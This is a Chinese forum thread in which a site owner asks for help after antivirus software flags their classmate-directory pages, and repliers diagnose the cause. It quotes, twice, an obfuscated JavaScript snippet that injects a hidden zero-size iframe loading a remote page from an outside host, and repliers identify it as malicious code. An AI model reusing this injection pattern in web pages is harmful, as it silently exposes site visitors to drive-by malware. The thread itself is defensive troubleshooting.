1   1  /  1  页   跳转

哪位老大帮帮忙啊!

哪位老大帮帮忙啊!

我用红雨同学录建的同学录,瑞星正版杀毒软件和正版防火墙,老是提示有恶意脚本,而其他同学用的金山毒霸等则无任何提示。经我仔细查看所有的程序文件,只能找到以下这段可疑代码:
           <SCRIPT LANGUAGE="Javascript">
       <!--
       var Words ="%3Cdiv%20align%3D%22center%22%3E%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ciframe%20frameborder%3D0%20leftmargin%3D0%20marginheight%3D0%20marginwidth%3D0%20scrolling%3Dno%20src%3D%22http%3A//vqqq.com/tui/mv.asp%22%20topmargin%3D0%20width%3D0%20height%3D0%3E%3C/iframe%3E%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C/div%3E"
       function SetNewWords()
       {
       var NewWords;
       NewWords = unescape(Words);
       document.write(NewWords);
       }
       SetNewWords();
       // -->
       </SCRIPT>
但我发现去掉这段代码后网页的一些图片就无法显示了,因此应该是网页的关键代码。可是其他也找不到怀疑的对象了,搞得我甚至都有点怀疑是瑞星杀毒软件的原因了。拜托哪位老大帮帮忙啊,真是急死了!
我的同学录网址:http://www.sjcq.gov.cn/txl
红雨同学录在华军软件园有下载,哪位老大能帮忙下载下来研究研究,谢谢!
最后编辑2007-04-25 14:56:09.327000000
分享到:
gototop
 

var Words ="<div align=\"center\"><iframe frameborder=0 leftmargin=0 marginheight=0 marginwidth=0 scrolling=no src="http://vqqq.com/tui/mv.asp" topmargin=0 width=0 height=0></iframe></div>"
其中http://vqqq.com/tui/mv.asp有问题.这是一个框架文件。把病毒文件包含进去。所以瑞星的提示是正确的。
gototop
 

【回复“病毒让我抓狂”的帖子】
诚如封神梦想所说有"src=http://vqqq.com/tui/mv.asp"这段不明网页代码注入,理论上把这个字段删去,再用瑞星扫描一次瞧瞧还会不会出错的.如果出了又是什么错误,找出原因查找代码段在瞧.


如还是有问题,请上帖子
gototop
 

引用:
【封神梦想的贴子】var Words ="<div align=\"center\"><iframe frameborder=0 leftmargin=0 marginheight=0 marginwidth=0 scrolling=no src="http://vqqq.com/tui/mv.asp" topmargin=0 width=0 height=0></iframe></div>"
其中http://vqqq.com/tui/mv.asp有问题.这是一个框架文件。把病毒文件包含进去。所以瑞星的提示是正确的。

………………


代码要求高宽均为0,那岂不是要让这个框架不能显示?显然作者要隐藏这个框架,极可能是恶意代码。
gototop
 
1   1  /  1  页   跳转
页面顶部
Powered by Discuz!NT